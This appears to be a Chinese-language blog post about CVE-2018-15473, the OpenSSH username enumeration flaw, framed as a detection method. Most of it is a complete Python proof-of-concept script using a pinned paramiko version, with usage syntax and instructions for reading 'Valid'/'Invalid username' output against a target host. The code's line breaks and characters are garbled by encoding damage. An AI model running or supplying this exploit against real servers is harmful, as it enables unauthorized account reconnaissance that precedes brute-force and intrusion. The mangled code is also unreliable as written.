cve201815473OpenSSH用户名枚举及其检测方法

最新版本OpenSSH服务在接收到畸形的认证请求包时&＃xff0c;会根据用户名的存在与否给出不同的响应&＃xff0c;由此导致通过SSH服务枚举服务器的用户名。

ssh-check-username.py 使用说明

• 安装依赖包 pip install paramiko&＃61;&＃61;2.0.8
• 语法&＃xff1a;python ssh_checkusername.py ip username –port 22

脚本

#!/usr/bin/env python# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.import argparse
import logging
import paramiko
import socket
import sysclass InvalidUsername(Exception):passdef add_boolean(*args, **kwargs):passold_service_accept &＃61; paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]def service_accept(*args, **kwargs):paramiko.message.Message.add_boolean &＃61; add_booleanreturn old_service_accept(*args, **kwargs)def userauth_failure(*args, **kwargs):raise InvalidUsername()paramiko.auth_handler.AuthHandler._handler_table.update({paramiko.common.MSG_SERVICE_ACCEPT: service_accept,paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})logging.getLogger(&＃39;paramiko.transport&＃39;).addHandler(logging.NullHandler())arg_parser &＃61; argparse.ArgumentParser()
arg_parser.add_argument(&＃39;hostname&＃39;, type&＃61;str)
arg_parser.add_argument(&＃39;--port&＃39;, type&＃61;int, default&＃61;22)
arg_parser.add_argument(&＃39;username&＃39;, type&＃61;str)
args &＃61; arg_parser.parse_args()sock &＃61; socket.socket()
try:sock.connect((args.hostname, args.port))
except socket.error:print &＃39;[-] Failed to connect&＃39;sys.exit(1)transport &＃61; paramiko.transport.Transport(sock)
try:transport.start_client()
except paramiko.ssh_exception.SSHException:print &＃39;[-] Failed to negotiate SSH transport&＃39;sys.exit(2)try:transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:print &＃39;[*] Invalid username&＃39;sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:print &＃39;[&＃43;] Valid username&＃39;


验证说明&＃xff1a;

• 如果服务器存在的用户&＃xff0c;则脚本会返回Valid username
• 如果服务器不存在的用户&＃xff0c;则脚本会返回Invalid username
  如果升级ssh版本之后&＃xff1a;
• 如果服务器存在的用户&＃xff0c;则脚本会返回Valid username
• 如果服务器不存在的用户&＃xff0c;则脚本会返回Valid username